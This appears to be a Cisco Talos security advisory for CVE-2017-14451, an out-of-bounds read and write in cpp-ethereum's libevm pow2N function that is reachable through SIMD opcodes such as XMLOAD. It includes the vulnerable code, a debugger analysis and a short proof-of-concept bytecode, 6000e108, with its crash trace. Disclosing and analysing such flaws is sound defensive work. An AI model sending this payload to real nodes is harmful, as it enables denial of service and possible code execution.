CVE-2017-14451
An exploitable out-of-bounds read vulnerability exists in libevm (Ethereum Virtual Machine) of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read which can subsequently trigger an out-of-bounds write resulting in remote code execution. An attacker can create/send malicious smart contract to trigger this vulnerability.
Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768
9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-125: Out-of-bounds Read
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of cpp-ethereum is libevm (Ethereum Virtual Machine). Improper handling of smart contract code in the pow2N function can lead to an out-of-bounds read, which subequently triggers an out-of-bounds write, resulting in remote code execution. The vulnerability can also be used to perform DoS attack on all nodes in the Ethereum network that use this implementation of the virtual machine.
The pow2N
function has been introduced with EIP-616
and is used in most of SIMD opcode handlers.
Below is the implementation of the function:
cpp-ethereum/libevm/VMSIMD.cpp
Line 118 inline uint8_t pow2N(uint8_t _n)
Line 119 {
Line 120 static uint8_t exp[6] = { 1, 2, 4, 8, 16, 32 };
Line 121 return exp[_n];
Line 122 }
as we can see the _n
argument is being used as an index in the exp
array without checks to determine whether its value is bigger than the array size.
That can lead to an out-of-bounds read. pow2N
function is directly called inside two functions:
cpp-ethereum/libevm/VMSIMD.cpp
Line 124 inline uint8_t laneCount(uint8_t _type)
Line 125 {
Line 126 return pow2N(_type & 0xf);
Line 127 }
Line 128
Line 129 inline uint8_t laneWidth(uint8_t _type)
Line 130 {
Line 131 return pow2N(_type >> 4);
Line 132 }
In both cases _type
argument value is limited to values from range <0,15>. That’s enough to cause an out-of-bounds read because exp
array has size equals 6.
To determine the impact, let’s check values in memory in the 15 bytes starting from the start of the exp
array. Setting a breakpoint in the pow2N
function we can see:
x/15xb exp
0x97db68 <_ZZN3dev3eth5pow2NEhE3exp>: 0x01 0x02 0x04 0x08 0x10 0x20 0x00 0x00
0x97db70 <_ZN3dev7VersionE>: 0xf5 0xb2 0x81 0x00 0x00 0x00 0x00
The pow2N
author defined the values which this function can return inside exp
array, but because there is an out-of-bounds read vulnerability we can read, e.g., the value at offset 0x8
which is 0xF5. Returning that value from pow2N
function breaks some assumptions that maximal value returned from this function is 32.
Because laneCount
and laneWidth
are used in nearly all SIMD
opcodes handlers let’s take XMLOAD
opcode handler as an example.
cpp-ethereum/libevm/VMSIMD.cpp
Line 216 void VM::xmload (uint8_t _type)
Line 217 {
Line 218 // goes onto stack element by element, LSB first
Line 219 uint8_t const* vecData = m_mem.data() + toInt15(m_SP[0]);
Line 220 uint8_t const count = laneCount(_type);
Line 221 uint8_t const width = laneWidth(_type);
Line 222
Line 223 switch (width)
Line 224 {
Line 225 case Bits8:
Line 226 for (int j = count, i = count - 1; 0 <= i; --i)
Line 227 {
Line 228 int v = 0;
Line 229 v |= vecData[--j];
Line 230 v8x32(m_SPP[0])[i] = v;
Line 231 }
Line 232 break;
Line 233 case Bits16:
Line 234 for (int j = count, i = count - 1; 0 <= i; --i)
Line 235 {
Line 236 int v = 0;
Line 237 v |= vecData[--j];
Line 238 v <<= 8;
Line 239 v |= vecData[--j];
Line 240 v16x16(m_SPP[0])[i] = v;
Line 241 }
Line 242 break;
Line 243 case Bits32:
Line 244 for (int j = count, i = count - 1; 0 <= i; --i)
Line 245 {
Line 246 int v = 0;
Line 247 v |= vecData[--j];
Line 248 v <<= 8;
Line 249 v |= vecData[--j];
Line 250 v <<= 8;
Line 251 v |= vecData[--j];
Line 252 v <<= 8;
Line 253 v |= vecData[--j];
Line 254 v32x8(m_SPP[0])[i] = v;
Line 255 }
Line 256 (...)
The _type
argument is another opcode value located just after the XMLOAD opcode obtained via the simdType
function.
cpp-ethereum/libevm/VM.h
Line 240 uint8_t simdType()
Line 241 {
Line 242 uint8_t nt = m_code[++m_PC]; // advance PC and get simd type from code
Line 243 ++m_PC; // advance PC to next opcode, ready to continue
Line 244 return nt;
Line 245 }
So we have full control of its value which can be in range <0,255>.
Setting the _type
variable to 8, the laneCount
function will return the value 0xF5
and the laneWidth
will be 1.
In that situation we execute the code located at lines 233-242
. The count
variable which controls the loop counter is set to 0xF5
.
The loop will be executed 0xF4
times, copying two bytes from the vecData
buffer (a pointer the m_mem memory controllable by the attacker) to
the m_SPP[0] element which is 32 bytes in size. That operation will cause an out-of-bounds write which leads to memory corruption and subsequently
can allow for remote arbitrary code execution.
Example of opcodes triggering this vulnerability:
6000e108
disassembling we get:
60 00 PUSH 0
e1 XMLOAD
08 //malicious value for _type
variable
Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --code 6000e108
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xffffff75
RBX: 0x9d8e30 --> 0x860e00 --> 0x525510 (<dev::eth::VM::~VM()>: push rbx)
RCX: 0x0
RDX: 0x9d45f0 --> 0x0
RSI: 0x35 ('5')
RDI: 0x6100009e4ee0
RBP: 0x0
RSP: 0x7fffffffb030 --> 0x0
RIP: 0x5396a5 (<dev::eth::VM::xmload(unsigned char)+279>: mov WORD PTR [rdi+r8*2],cx)
R8 : 0x35 ('5')
R9 : 0x0
R10: 0x241
R11: 0x1
R12: 0x9d45f0 --> 0x0
R13: 0x7fffffffc000 --> 0x9d4420 --> 0x7fffffffbc08 --> 0x0
R14: 0x1
R15: 0x45 ('E')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x539699 <dev::eth::VM::xmload(unsigned char)+267>: or ecx,edi
0x53969b <dev::eth::VM::xmload(unsigned char)+269>: mov rdi,QWORD PTR [rbx+0xc118]
0x5396a2 <dev::eth::VM::xmload(unsigned char)+276>: movsxd r8,esi
=> 0x5396a5 <dev::eth::VM::xmload(unsigned char)+279>: mov WORD PTR [rdi+r8*2],cx
0x5396aa <dev::eth::VM::xmload(unsigned char)+284>: sub esi,0x1
0x5396ad <dev::eth::VM::xmload(unsigned char)+287>: jmp 0x53967a <dev::eth::VM::xmload(unsigned char)+236>
0x5396af <dev::eth::VM::xmload(unsigned char)+289>: movzx eax,al
0x5396b2 <dev::eth::VM::xmload(unsigned char)+292>: lea esi,[rax-0x1]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb030 --> 0x0
0008| 0x7fffffffb038 --> 0x0
0016| 0x7fffffffb040 --> 0x0
0024| 0x7fffffffb048 --> 0x0
0032| 0x7fffffffb050 --> 0x1
0040| 0x7fffffffb058 --> 0x7fffffffb9d0 --> 0x1
0048| 0x7fffffffb060 --> 0x4
0056| 0x7fffffffb068 --> 0xaa0d725b62ee1a00
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000005396a5 in dev::eth::VM::xmload (this=this@entry=0x9d8e30, _type=<optimized out>) at /home/icewall/bugs/cpp-
ethereum/libevm/VMSIMD.cpp:240
240 v16x16(m_SPP[0])[i] = v;
gdb-peda$ bt
#0 0x00000000005396a5 in dev::eth::VM::xmload (this=this@entry=0x9d8e30, _type=<optimized out>) at /home/icewall/bugs/cpp-
ethereum/libevm/VMSIMD.cpp:240
#1 0x0000000000522caa in dev::eth::VM::interpretCases (this=0x9d8e30) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:970
#2 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u,
(boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>,
(boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long,
dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u,
(boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >,
(boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u,
(boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >,
(boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u,
(boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >,
(boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d8e30, _io_gas=..., _ext=...,
_onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207
#3 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction,
boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1,
(boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>,
boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1,
(boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>,
boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1,
(boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>,
dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd600, _onOp=...) at /home/icewall/bugs/cpp-
ethereum/libethereum/Executive.cpp:434
#4 0x0000000000416ceb in main (argc=argc@entry=0x4, argv=argv@entry=0x7fffffffddb8) at /home/icewall/bugs/cpp-
ethereum/ethvm/main.cpp:320
#5 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x4, argv=0x7fffffffddb8, init=<optimized out>, fini=
<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdda8) at ../csu/libc-start.c:291
#6 0x0000000000413c09 in _start ()
gdb-peda$
2017-11-03 - Vendor Disclosure
2018-01-09 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.